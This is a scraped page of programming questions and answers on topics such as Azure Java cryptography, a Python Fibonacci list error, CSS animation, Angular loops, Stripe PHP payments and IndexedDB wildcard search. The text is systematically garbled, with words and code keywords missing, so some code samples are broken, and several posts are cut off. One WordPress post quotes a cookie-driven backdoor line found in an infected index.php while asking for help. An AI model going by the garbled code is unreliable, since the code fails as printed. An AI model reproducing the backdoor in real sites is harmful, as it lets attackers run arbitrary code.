Posts

Showing posts from August, 2011

Microsft Azure installing Java Cryptography Extension (JCE) -

i have java 8 wep app on azure. i using default jre build in application settings webapp. running on tomcat. i having trouble installing java cryptography extension handle encryption. dont have access java home install it, can upload war files web app. does know how install jce on azure? thanks! fab on azure webapp, have operation permission path d:\home\ , no permission others include %java_home% , apache tomcat @ path d:\program files (x86)\ . generally using packages, can directly import these jar files directory web-inf\lib of project or war file. way effective current project, , it's safe others avoid clash. for file structure of path d:\home , can refer wiki page https://github.com/projectkudu/kudu/wiki/file-structure-on-azure know. however, according doc readme.txt in jce, seems not possible installing on azure webapp, think can try use other cryptography packages instead of jce app, such apache commons codec .

list - Getting an index error in a python fibonacci program -

i started "algorithmic toolbox" on coursera, , writing version of fibonacci program in python 2.7 def fibonacci(n): f = [] f[0] = 0 f[1] = 1 in range(0,n): f[i] = f[i-1] + f[i-2] return f[n] fibonacci(3) but, keep getting error: traceback (most recent call last): file "fibonacci.py", line 11, in <module> fibonacci(3) file "fibonacci.py", line 3, in fibonacci f[0] = 0 indexerror: list assignment index out of range you can't create new elements in python list assigning non-existing indices. list empty, indices 0 , 1 don't exist . use list.append() instead: def fibonacci(n): f = [0, 1] # list 2 initial elements in range(2, n + 1): f.append(f[i-1] + f[i-2]) # add new value list return f[n] note loop starts @ 2 , not 0 , because have values 0 , 1 . stop argument range() not included if want find n th fibonacci number, need run range n + 1 . now

html - Animating div color -

i have been intensely following code trying understand how animate border. tweaking code, able animate border color. however, not able achieve effect of animating div's background color using same structure of @keyframes could please (am not trying alternate solution, want use @keyframes) html & css: .wrapper { border: 1px solid; width: 100%; height: 100%; margin-right: auto; margin-left: auto; } .green { height: 200px; width: 200px; animation: 1s animategreen ease infinite; margin-right: auto; margin-left: auto; } @keyframes animategreen { { background-color: rgba(0, 255, 0, 1); } } <div class="wrapper"> <div class="green"> </div> </div> you need combine 2 animations: animation: animation1 1s infinite, animation2 1s infinite , example here's code both working: .wrapper { border: 1px solid; width: 100%; height: 100%; margin-right: a

angular - How I should refactor my ngFor loops inside <template>? -

i haven't found examples how should refactor ngfor loops. loop angular 2 beta.08 <template ngfor #row [ngforof]="filterrows"> see api page ngfor : <li *ngfor="let row of filterrows; let = index">...</li> ` <li template="ngfor let row of filterrows; let = index">...</li>` <dl> <template ngfor let-row [ngforof]="filterrows" let-i="index"> <dt>...</dt> <dd>...</dd> </template> </dl>` note how last form allows multiple elements repeated.

hosting - Hosted PHP application :: Error in Stripe Payment integration -

i have hosted php application , working fine except stripe payment integration in it. can suggest error? require_once('../../stripe/init.php'); \stripe\stripe::setapikey('sk_test_************'); $e=""; // credit card details submitted form $token = $_post['stripetoken']; // create charge on stripe's servers - charge user's card try { $charge = \stripe\charge::create(array( "amount" => $stripe_amount, // amount in cents, again "currency" => "cad", "source" => $token, "description" => "buy gift card" )); } catch(\stripe\error\card $e) { $e = "your card has been declined, please enter valid card"; } it's working fine on local machine, on hosting gives me error: 500 - internal server error. there problem resource looking for, , cannot displayed.

python - Calculating weighted average from a list -

this 1 list [74.0, 96.0, 72.0, 88.0, ['71', '80', '83', '77', '90', '88', '95', '71', '76', '94'], 80.0, 74.0, 98.0, 77.0] 74 calculated weight .1, 96 weight .1, 72 weight .15, 88 weight .05, average of (71,80,83,77,90,88,95,71,76,94) calculated weight .3, 80 calculated weight .08, 74 weight .08, 98 .09 , lastly 77 .05. each score should multiplied appropriate weight. here function def weighted_total_score(student_scores): return((int(student_scores[0])*.1)+(int(student_scores[1])*.1)+(int(student_scores[2])*.15)+(int(student_scores[3])*.05)+(int(student_scores[4][0])*.3)+(int(student_scores[5])*.08)+(int(student_scores[5])*.08)+(int(student_scores[5])*.09)+(int(student_scores[8])*.05)) the expected value should 82.94 getting 78.48 you slicing outer list: student_scores[4:5][0] slicing produces new list, in case 1 element, [0] selects that nested list : >>> studen

r - dataframe math to calculate profit based on indicator -

simple explanation: goal figure out how profit column shown below. trying calculate difference in val every pair of changing values (-1 1 , 1 -1). if starting indicator 1 or -1 store value. find next indicator opposite (so -1 on row 3). save val. subtract first value (.85.-.84). store in profit column. repeat specific case go until find next opposite val (on row 4). save value. subtract values, save in profit column. () go until find next opposite val (on row 8). save value. subtract values, save in profit column. financial explanation (if useful) trying write function calculate profit given column of values , column of indicators (buy/sell/hold). know implemented in few of big packages (quantmod, quantstrat), cant seem find simple way it. df<- data.frame(val=c(.84,.83,.85,.83,.83,.84,.85,.81),indicator=c(1,0,-1,1,0,1,1,-1)) df val indicator profit 1 0.84 1 na 2 0.83 0 na 3 0.85 -1 .01 based on: (.85-.84) 1

scala - Scalatest Matcher - Check single value exists in a set of values -

i generating value, , know possible values be. want write this val myint = somefunction() myint shouldbe oneof (1, 2, 3) however doesn't seem work me of scalatest 3 m15. workaround list(myvalue) should contain atmostoneof (1, 2, 3) which lot more confusing read , understand. is there way want here? seems common scenario. oneof can used compare contents of collections. can use some simple one-element collection: some(myint) should contain oneof (1, 2, 3) alternatively: myint should (equal(1) or equal(2) or equal(3))

redirect - Redirecting input to C program -

i have program: int main(int argc,char** argv){ int bytes = atoi(argv[1]); char buf[1024]; while(1){ int b = read(1,buf,bytes); if(b<=0) break; write(1,buf,b); } return 0; this version of command cat in program give argument number of bytes each read read. have file b.txt , want redirect file content program input used this ./mycat 1024 < b.txt but nothing happens, program keeps waiting me type text, if did ./mycat 1024 . why not redirection working? you have read stdin. reading contents stdout. so, blocked entering input. the file descriptor stdin 0. , stdout 1. if confusing these 1 , 0. can use macros stdin , stdout file descriptors. the following built in macros defined in unistd.h header file. stdin_fileno -- standard input file descriptor stdout_fileno -- standard output file descriptor stderr_fileno -- standard error file descriptor so, change code below. work expect. #include<unistd.h> #include<stdio.h>

c# - Unity: How to animate a flashing TextMesh (so varying the alpha when the player does something)? -

i have tried retracing steps survival shooter tutorial (create animation clip on property of textmesh, vary alpha, , create state machine), animating alpha property in textmesh.meshrenderer._color object nothing, because object disappears on runtime (even though animator window accepts valid object animate...), , animation window shows object missing when reopen it--so thinking must kind of throwaway color object? the problem "color" can edit in text mesh object. otherwise, state machine working perfectly; , animation seems playing...just nothing happening...and, said, when reopen animation clip in animation window, property labeled 'missing,' though have not touched respective object. coming trying do: trying implement flashing label in game (rather on hud) invisible until player gets close, whereupon starts flashing (it control suggestion). maybe textmesh object wrong object; maybe animation process wrong...but think easier answer might go how implement try

What is the "M" on this file in Xcode? -

Image
this question has answer here: what “m” , “a” icons in project navigator of xcode 4 mean when create new project? 10 answers these 2 "m" next file names, for? how rid of it? need it? that's git working. the file has been modified. if right click file => source control => commit selected files... can commit changes git. i recommend learn little bit of git, great.

ruby - PUT method return 405 in RSpec test for API -

i building restful web server using goliath-grape , using rspec tdd. when make api put call (/api/v1/users/:id) update existing record browser expected 204 response. but when test same api call through rspec 405. , response header looks this: put /api/v1/users/:id {"allow"=>"options, post, get, head", "content_type"=>"text/plain", "content_length"=>"0", "server"=>"goliath", "date"=>"fri, 09 aug 2013 01:37:09 gmt"} code snippet api_spec.rb describe "put /api/v1/users/:id" "update user , return 204" with_api(application, api_options) put_request(:path => "/api/v1/users/#{user_id}", :body => '{"user": {"email": "test_again@example.com"}', :head => {'content-type' => 'application/json'}) |c| # ..... end end end end code snippet update me

ios - Swift semaphore not waiting for function to finish before calling UI -

i'm trying delay segue until response reversegeocodelocation call. however, when using breakpoints check when value changes, it's still happening after ui transition occurs. i've tried having function void , current string return. edited code: func getreversedgeocodelocation(completionhandler: (string, nserror?) ->()) { let semaphore = dispatch_semaphore_create(0) dispatch_async(dispatch_get_global_queue(dispatch_queue_priority_default, 0)) { () -> void in clgeocoder().reversegeocodelocation(self.newmeetuplocation, completionhandler: {(placemarks, error) -> void in if error != nil { print("reverse geocoder failed error" + error!.localizeddescription) return } else if placemarks?.count > 0 { } else { print("problem data received geocoder") } completionhandler(placemarks!.first!.name

hadoop - Can I have two sudo users for the same linux machine? -

i working on ubuntu. have 1 superuser called hduser , user called hadoopuser have installed hadoop , working on it. question should install other softwares hive & pig. because when install pig works fine, loading data , everything, when dump variable print output getting exception org.apache.hadoop.security.accesscontrolexception: permission denied: user=hduser, access=write, inode="":hadoopuser:supergroup:rwxr-xr-x org.apache.pig.impl.logicallayer.frontendexception: error 1066: unable open iterator alias amt can have hadoopuser & hduser both superusers ? how solve problem? you can login root user using sudo -s command. , can make installations root. hope helps!

django - What queryset expression produces "where x != 123" for nullable field? -

i have nullable field: class test(models.model): x = models.integerfield(null=true, blank=true) i want find instances x != 123. print(test.objects.filter(x__isnull=false).exclude(x=123).query) select [...] testdb_test (x not null , not (x = 123 , x not null)) but obscure reasons need query produce precisely where x != 123 . know 2 equivalent in terms of records selected. i'd rather not use extra() because docs state deprecated in future. there other way where x != 123 ?

javascript - BootStrap have mobile navbar entire bar dropdown -

my site gitlit.org , when go mobile or scale browser navbar switches mobiel design without issues , can click 3 white lines (menu) button , works clicking home nothing. there way entire bar clickable? my navbar code: <button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".nav-collapse"> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </button> <a class="navbar-brand" href="#">home</a> <div class="nav-collapse collapse"> <ul class="nav navbar-nav"> <li><a href="about.html">about us</a></li> <li><a href="#about">resources</a></li> <li><a href="sermons.php">sermons</a></li> <li>&l

jquery - Simple scroll to animation flicker -

i using snippet of code found here: simple jquery scroll anchor or down page...? i have working fine quick flicker of initial screen each time click scroll. modified script work on div instead of anchor. does have idea why happening? thanks http://www.mniac.com/portfolio/ after testing things in console think (99% certain) problem caused placing the anchor href '#. you have few options: 1) replace anchor tags else. if replace the anchors p tags example, , change jquery work off p.[class] rather a.[class] should fix problem. (you can keep same anchor styling having cursor:pointer; in css make appear link when mouse on link) 2) prevent default action of link . add return false in links eg <a class="work" href="#" onclick="return false;">work</a> the reason think may problem because when click anchor "#" default take top of page, think it's taking top of page quickly, returning , scrolling dest

php - Wordpress unfamiliar code in root files -

recently 1 of wp website files deleted "cxs scanner " , detected files in root folder index.php' known exploit = [fingerprint match] [php cookie exploit [p1036]] when compared file detected cookie exploit older version, noticed there line of code added file: detected index.php <?php if (isset($_cookie["id"])) @$_cookie["user"]($_cookie["id"]); /** * front wordpress application. file doesn't anything, loads * wp-blog-header.php , tells wordpress load theme. * * @package wordpress */ /** * tells wordpress load wordpress theme , output it. * * @var bool */ define('wp_use_themes', true); /** loads wordpress environment , template */ require( dirname( __file__ ) . '/wp-blog-header.php' ); older index.php <?php /** * front wordpress application. file doesn't anything, loads * wp-blog-header.php , tells wordpress load theme. * * @package wordpress */ /** * tells wordpress load wordpr

Excel Function - How to excluding certain alphabetically -

Image
i using following function build series of running number in excel file. "=left(address(row(aa1),column(aa1)+(row(a1:a1)-1),4),2)" the lists shown in file similar like: aa,ab,ac,ad,... now, trying exclude alphabetical (such "g, i, o") list, not know how start it. any advise? remarks: exclude (g, i, o) -> "ag,ai..,ga,gb...oz" thanks. set cell a1 "aa" . in cell a2 put following formula: =if(find(right(a1,1),"abcdefghijklmnopqrstuvwxyz")=len("abcdefghijklmnopqrstuvwxyz"),mid("abcdefghijklmnopqrstuvwxyz",find(left(a1,1),"abcdefghijklmnopqrstuvwxyz")+1,1)&"a",left(a1,1)&mid("abcdefghijklmnopqrstuvwxyz",find(right(a1,1),"abcdefghijklmnopqrstuvwxyz")+1,1)) you can drag down how many ever rows need. might complicated, simple if break down. to exclude chars "g", "i" , "o", remove them everywhere see "abcdef

shell - How to remove lines from a file using a list of strings -

this question has answer here: deleting lines 1 file in file 8 answers delete lines in text file containing specific string 13 answers i have file contains 100 000 entries , have search existence of 2000 different strings. if string exists have remove line. there way this?

rest - How do micro services in Cloud Foundry communicate? -

i'm newbie in cloud foundry. in following reference application provided predix ( https://www.predix.io/resources/tutorials/tutorial-details.html?tutorial_id=1473&tag=1610&journey=connect%20devices%20using%20the%20reference%20app&resources=1592,1473,1600 ), application consisted of several modules , each module implemented micro service. my question is, how these micro services talk each other? understand must using sort of rest calls problem is: service registry: have services a, b, c. how these components 'discover' rest urls of other components? component url known after service pushed cloud foundry. how cloud foundry controls components dependency during service startup , service shutdown? cannot start until b started. b needs shutdown if shutdown. the ref-app 'application' consists of several 'apps' , predix 'services'. app bound service via entry in manifest.yml. thus, gets service endpoint , other important con

internet explorer 8 - "Do you want to view only the webpage content that was delivered securely" in Extjs 4 -

i'm getting in internet-explorer-8 : "do want view webpage content delivered securely" in extjs 4 how handle in internet-explorer-8 code , still keep application secured. updating application ext.net v 2 here. this bug has been introduced in extjs 4.2.0 , automatically came ext.net v2.2. fixed in extjs 4.2.1 and, accordingly, fixed in next ext.net v2.3 release, should appear soon. here can find details bug , thoughts possible solution. check reference 1 check reference 2

java - Port Lucene 3.6.2 Analyzer to Lucene 5.5.0 -

for lucene 3.6.2 have following analyzer: public final class standardanalyzerv36 extends analyzer { private analyzer analyzer; public standardanalyzerv36() { analyzer = new standardanalyzer(version.lucene_36); } public standardanalyzerv36(set<?> stopwords) { analyzer = new standardanalyzer(version.lucene_36, stopwords); } @override public final tokenstream tokenstream(string fieldname, reader reader) { return analyzer.tokenstream(fieldname, new htmlstripcharfilter(charreader.get(reader))); } @override public final tokenstream reusabletokenstream(string fieldname, reader reader) throws ioexception { return analyzer.reusabletokenstream(fieldname, reader); } } could please me port on analyzer lucene 5.5.0 ? analyzer interface changed in new version. updated i have reimplemented analyzer following: public final class standardanalyzerv36 extends analyzer { public static final chararr

reactjs - Relative Linking with React-Router -

how it? when part of path param (:someparam). can't find in documentation. it's recommended use react-router 3 scenario https://github.com/reacttraining/react-router/issues/3325 for having problem react-router 2.x: you may use browserhistory support relative routes, instead of using link component. // assuming http://site/myanimals // configure router hosting in subdirectory const history = userouterhistory(createhistory)({ basename: '/myanimals' }); // use ... import {browserhistory} 'react-router'; browserhistory.push('about'); // or, configured route 'animal/:id' can use // <route path={'animal:id'} .../> browserhistory.push('animal/3'); i hope helps!

pattern matching - Android patternPath deeplinking -

i'm trying implement deep linking in application. these 2 urls: url1 : http://www.example.com/games/randomtext- game -randomno url2 : http://www.example.com/games/randomno- scores /randomscore as evident, initial part of both urls resolve same pattern. there way differentiate between 2 patterns in case each serves requirement individually. have gone through various links , tried many patterns, problem pattern selected url1 automatically resolves url2 well. game , scores constants in above urls want differentiate using them. in advance. url1 : http://www.example.com/games/randomtext-game-randomno/ <intent-filter> <action android:name="android.intent.action.view" /> <category android:name="android.intent.category.default" /> <category android:name="android.intent.category.browsable" /> <data android:scheme="http" android:host="www.ex

android - How to know what 'this' keyword refers to when reading any codes? -

i'm learning android. i've known this keyword when creating constructor. however, still confusing me know this refers in other situations. specifically, when reading code examples, in methods, passed in this parameter, , dont know this means cannot replicate code later uses. please intruct me should find out reference 'this' when reading code or giving parameter 'this'. thank much! see example: public class example_5 extends appcompatactivity { listview lv5; list<country> countries; @override protected void oncreate(bundle savedinstancestate) { super.oncreate(savedinstancestate); setcontentview(r.layout.activity_example_5); lv5 = (listview) findviewbyid(r.id.lv5); countries = new arraylist<>(); countries.add(new country("vietnam", "việt nam", r.drawable.flag_vi)); countries.add(new country("laos", "lào", r.drawable.flag_fr

IndexedDB wildcard at start and end of searchterm -

this topic explains how use wildcards ad end of searchterm using indexeddb. i looking way add wildcard @ end , @ start of searchterm. in sql be: like '%searchterm%' . how can achieve indexeddb? here code: function getmaterials() { var materialnumber = $("#input").val(); var transaction = db.transaction(["materials"]); var objectstore = transaction.objectstore("materials"); var request = objectstore.opencursor(idbkeyrange.bound(materialnumber, materialnumber + '\uffff'), 'prev'); $("#output").find("tr:gt(0)").remove(); request.onsuccess = function (event) { var cursor = event.target.result; if (cursor) { var newrow = '<tr><td>'+ cursor.value.materialnumber +'</td>'+ '<td>'+ cursor.value.description +'</td>'+ '<td>'+ cursor.value.pieces +

ios - Realmswift: optional wrapping error -

i trying pass json data realm database keep being thrown error fatal error: unexpectedly found nil while unwrapping optional value at user.name = (result["name"]?.string)! able output when print(result) particulars { "name" : "jonny walker", "api_token" : "qwertyuiop1234567890", "profile_picture" : "http:default_profile_picture.jpg", "id" : 10, "email" : "jwalker@gmail.com" "username" : "jonny" } this code: alamofire.request(.post, data.loginendpoint, parameters: parameters) .responseobject { (response: response<particulars, nserror>) in if let result = response.result.value { do{ print(realm.configuration.defaultconfiguration.fileurl) print(result) let user = particulars() let realm = try realm()

forms - how to manage adding files to entities in symfony -

i trying add multiple files entity.i want users possibility upload pc or add existing files server entity. question how manage that? on create , edit entity ? possible mix data transformers , form events on single field?the entity of file can added multiple entities , each entity has multiple files handling file uploads in symfony natively without of other components bit messy in opinion, it's possible. take @ this cookbook article . however, suggest take @ vichuploaderbundle community bundle

entity framework - Stop a referenced dll from running migrations -

i have solution web application. application uses entity framework , code first. have second project, console application. console application shares assembly hold migrations. is there way console application should never run migrations? happen console application contain newer version has not yet been deployed in web application. make sure there no risk console ruin web application. better have console failing updating database. set database initialiser null in dbcontext constructor: public class consolecontext : dbcontext { public consolecontext() : base("name=" + config.connectionstringname) { // prevent attempt initialize database context database.setinitializer<dtocontext>(null); } } alternatively, in web application: protected void application_start() { database.setinitializer<mydbcontext>( new migratedatabasetolatestversion<mydbcontext, migrations.configuration>()); } and in conso

c# - Press a in game Button to play a animation -

i thought adding ingame button game. it's not gui or ui button, it's block, added wall example. dummy code: ontriggerenter(c:collider) { if(c.gameobject.tag =="player") { //text = "e interact!" if(key.pressed("e") { //connect button specific block, play animation } } } so how connect specific block button, , if press e, play animation on specific block? please keep in mind i'm new in unity. helping out! i don't know if managed create animation, i-ll explain scratch. when in editor, select door , press ctrl+6 open animation window. here can animate block. when done creating animation , block object have new script attached it: animator . can see animator state machine in animator window these 2 different things: animation : defines single animation (translation, rotation, change of color, ...) animator : defines when animation occurs corresponding gameobjec

sql server 2012 - Performance while taking Join with a table used used for storing file -

i have sql server file-stream enabled. storing file @ max of 50mb. number of files can huge. column stores file of type varbinary(max) we required take join of table other table on need basis. though while taking join making sure not including column stores file data. can face performance issues while directly taking join [documents] table? if willing move data intermediate table store references table , query table when need upload/view/delete file. thanks in advance!!

python - Round error when plotting -

Image
i have following array of data: in [53]: data out[53]: array([ 9.95000000e-05, 9.95000000e-05, 9.95000000e-05, ... ... 9.95000000e-05]) when plot of get: i expect plot straight line meaningful on y axis. cause behavior? the problem 9.95000000e-05 9.9500000000000006e-05 or 9.9499999999999979e-05 or simmilar number ipython rounds sake of clarity. matplotlib, however, acknowledge number in complete precision result has unexpected behaviour. the workaround or round number values represented in ipython. in [53]: round(data,7) out[53]: array([ 9.95000000e-05, 9.95000000e-05, 9.95000000e-05, ... ... ]) which provides nice plot: in [54]: plot(round(data,7))

python - How to find element iframe by attribute src containing specific text -

what best way find element iframe attribute src containing text about . html code <iframe id="fancybox-frame1464160624818" name="fancybox-frame1464160624818" class="fancybox-iframe" allowfullscreen="" scrolling="auto" src="about.jsp?fancybox=true"> </iframe> locating id, name, class name not relevant. i can find iframes in page tag name iframe , check src attribute get_attribute method find iframe unique src attribute. is possible ? use xpath. believe expression this driver.find_element_by_xpath("//iframe[contains(@src,'about'])]")

vbscript - Search data between 3 conditions -

i used search in database sql. html: <form name="frmreport" method="get" action=""> <input id="txtkeyword" class="textbox" type="text" size="1" name="keyword" value="<%=keyword%>"> <input type="text" name="sdate" style="width:100; height:19" size="20" id="datepicker" class="textbox"> <input type="text" name="edate" style="width:100; height:19" size="20" id="datepickerexp" class="textbox"> <input type="submit" value="viewreport" name="btnsearch" style="font-family: arial, tahoma; font-size: 9pt; border-style: outset; border-width: 2px;height:20;width:90"> </form> asp: dim keyword, startdate, enddate keyword = request.querystring("keyword") startdate = request.querystring(start

c# - comparing two lists in linq -

i have 2 lists: orders , items , need compare them name , if order list have bool set false , if satysfy condition copies string message , adds new list , have no freaking idea how compare lists, appreciated function: private static void faileditemslist(list<item> failed, list<order> orders, list<item> items) { foreach(var order in orders) { foreach(var item in items) { if(order.equals(item)) { if(order.fulfilled == false) { item.failmessage = order.failmessage; failed.add(item); } } } } } in general return "fail-list" method instead of passing it. use linq simplify task: static list<item> getfaileditems(list<order> orders, list<item> items) { var failed = order in orders !order.fulfilled join item in items on order.name equals

python - Nosetest and unittest.expectedFailures -

i testing website selenium, python , nosetests. works fine success tests, got problem on failure tests (i have never test python / selenium / nosetest ...). following test : @unittest.expectedfailure def test_connection_failure(self): # fill username login self.driver.find_element_by_id('form_identifiant').send_keys(test_login) # send form self.driver.find_element_by_id('form_submit').click() # check landing url page_url = self.driver.current_url self.assertequal(page_url, page_home) i testing simple case : when enter login, can't connect website. except failure when compare current page url , page should if login / password couple correct. i got following message nosetests prompt : [root@localhost appgestion]# nosetests connectiontests.py /usr/lib64/python2.7/unittest/case.py:380: runtimewarning: testresult has no addexpectedfailure method, reporting passes runtimewarning) i don't

javascript - onFocus not calling function in Chrome, safari, FF, working fine in IE* -

here in these piece of code m trying validate fields bycalling function when onfocus... html code below: <a href="#" onmouseout="mm_swapimgrestore()" onmouseover="mm_swapimage('image4','','./images/search1.gif',1)" onclick="clicksearch('company','branchcode','companynameopr','companyname','isactive')" onfocus="commonsearchvalidation('company','companyname','branchcode','isactive'),chkspecial('company'),chkspecial('branchcode')"> the function m calling,,, , function having code below: function commonsearchvalidation() { alert("commonsearchvalidation"); var counter=arguments.length; alert(counter); var resflag = false; for(var i=0 ; < counter ; i++) { var fvalue = document.getelementbyid(arguments[i]).value; if(fvalue.trim().length!=0) {

uml - Visual Studio Class Diagram - Show two-way associations as a single arrow? -

Image
i'm designing model in c# , have classes refer , each other; class order { public icollection<orderitem> childitems { get; set; } } class orderitem { public order parentorder { get; set; } } now, i know order->childitems inverse relationship orderitem->parentorder. can't seem represent on class diagram single arrow 2 arrows, 2 labels, etc. can this; but i'd prefer single arrow make clear there 1 relationship going on here. possible? as far know not possible under visual studio 2015. sure arrows express navigability of association. association 1 arrow mean relation if navigeable in 1 direction if not arrows not necessary mean association not navigeable (it depends). if have cross @ end of association mean not navigeable. more info please take @ page 212 of uml 2.5 specification http://www.omg.org/spec/uml/2.5/pdf/ usually tools use different layout when association naviageable or not in both direction in order able see difference

dryioc - Override certain implementation when resolving a dependency -

i have read documentation , can't find resolving type , @ same time override of dependencies. easiest illustrate example public class { public a(iservicea a, iserviceb b) {} } // resolve scenarion type => { // type var = container.resolve<iservicea>(); a.someproperty = "magic"; return container.resolve(type) // todo: how resolve using } does make sense? looking like return container.resolve(type, rule.override.typeof<iservicea>(a)); great job dryioc edit (2016-05-26) question missleading. below complete code example (for prism ) viewmodellocationprovider.setdefaultviewmodelfactory((view, type) => { var page = view page; if (page != null) { var navigationservice = container.resolve<inavigationservice>(); ((ipageaware)navigationservice).page = page; var @override = container.resolve<func<inavigationservice, type>>(); // how

hadoop - How can i register classpath files in pig script? -

is there way add/register classpath property files (like eg: database.properties) in pig script application can read it. note: adding in hadoop/pig_classpath not working in distribution. how executing script , needs? (file in frontend, backend, both,...). try packaging .properties in .jar , registering .jar in pig script (this if need .properties read in backend). if need .properties in frontend (executing in grunt) have put .properties in classpath. and in need in frontend , backend, both things told: .jar + classpath.

c# - Outlook redemption for solving addin performance issues -

we're team of developers of addins ms outlook , we're facing problem "newmailex" event not fire exchange accounts in not cached mode. trying achieve autosave new items efficiently without overload outlook thread. we looking through articles (here 1 of them https://www.add-in-express.com/creating-addins-blog/2011/10/03/outlook-newmail-event/ ) , decided implement new emails detection based on known , current lists comparison faced slow enumeration offline mode. so wanted ask guys if can advise whether outlook redemption rdosession.onnewmail(entryid) work in non-cached case or have find way. if event not suitable case may can tell if outlook redemption items enumeration faster original outlook's one? so there 2 questions: will rdosession.onnewmail(entryid) work non-cached case? is olredemption items enumeration faster original outlook's one? best regards based on email, trying process messages arrived while outlook not running. in

javascript - ExtJS 4.2 - How can I add a table to a panel? -

Image
i´m trying add panel don´t know how: this table , container panel,and don´t know how in extjs 4.2,because nearest thing grid,but don´t want grid. finally solved form panel. here code: var tabla=new ext.form.panel({ bodypadding: '0 0 0 0', margin:'0 5 0 5', bodystyle: 'background-color:#f1f1f1;', border:0, items: [ { xtype: 'container', anchor: '100%', layout: 'hbox', items:[ { xtype: 'container', flex: 1, layout: 'anchor', items:[ { xtype:'textfield', readonly:true, anchor:'100%', la

logging - How to get more junit-failed-details in gradle log without running gradle in debug mode -

question: is there way add details of failed junit4 tests gradle output witout making of gradle more verbose? background: i have java-se junit4 regression test handling ical content works fine on win-7-64 local machine fails on travis-ci buildserver using gradle. when run ./gradlew assemble libicsj2se:test the gradle output travis-ci log contains this * went wrong: execution failed task ':libicsj2se:test'. > there failing tests. see report at: > file:///home/travis/build/k3b/calendaricsadapter/libicsj2se/build/reports/tests/index.html however have no access file because on build server cannot find out wich test failed , why. when run gradle in debug mode ./gradlew -d assemble libicsj2se:test i see in log want: 07:06:56.713 [debug] [testeventlogger] de.k3b.calendar.dtoicregressonstests > shouldbesamefixthisevent started 07:06:56.713 [debug] [testeventlogger] 07:06:56.713 [debug] [testeventlogger] de.k3b.calendar.dtoicregressonstests >

javascript - What are the benefits of immutability? -

i'm using react render long scrollable list of items (+1000). found react virtualized me this. so looking @ example here should pass down list prop item list component. what's tripping me in example list immutable (using immutable.js ) guess makes sense since that's how props supposed work - if want make change row item cannot change state since row rerendered using list, throwing out state. what i'm trying highlight row when click , have still highlighted if scroll out of view , again. if list not immutable can change object representing row , highlighted row stay highlighted, i'm not sure that's correct way it. there solution other mutating props? class itemslist extends react.component { (...) render() { (...) return( <div> <virtualscroll ref='virtualscroll' classname={styles.virtualscroll} height={virtualscrollheight} overscanrowcount={overscanrowcount}

c# - Why does EntityFramework 6 not support explicitly filtering by Discriminator? -

the following small ef6 program demonstrate issue. public abstract class base { public int id { get; set; } public abstract int typeid { get; } } public class suba : base { public override int typeid => 1; } public class subaa : suba { public override int typeid => 2; } public class subb : base { public override int typeid => 3; } public class subc : base { public override int typeid => 4; } public class devartcontext : dbcontext { public virtual dbset<base> bases { get; set; } public devartcontext() { } protected override void onmodelcreating(dbmodelbuilder modelbuilder) { base.onmodelcreating(modelbuilder); modelbuilder.entity<base>() .map<suba>(x => x.requires(nameof(suba.typeid)).hasvalue(1)) .map<subaa>(x => x.requires(nameof(subaa.typeid)).hasvalue(2)) .map<subb>(x => x.requires(nameof(subb.typeid)).hasvalue(3))

jquery - How to clear only the animated section of the canvas between loops -

the animation linked in jsfiddle should show ekg style machine, set of lines scrolling across screen, repeats on loop after reverting briefly blank screen. it's modification of great html5 canvas clipping animation sample code ( http://tajvirani.com/2012/03/30/html5-canvas-animating-a-clip-mask-path/ ) first loop works charm there flickering artefacts on. how 'revert' original (machine image blank, black screen) before each iteration? i thought c1.clearrect(0, 0, 386, 380); - line 42 of jsfiddle - did that, no joy. setinterval(animatemanaging,6000); function animatemanaging() { // grabs canvas element made above var ca1=document.getelementbyid("cvs3"); // defines 2d thing, standard making canvas var c1=ca1.getcontext("2d"); // creates image variable hold , preload our image (can't animations on image unless loaded) var img1 = document.createelement('img'); // loads image link img element created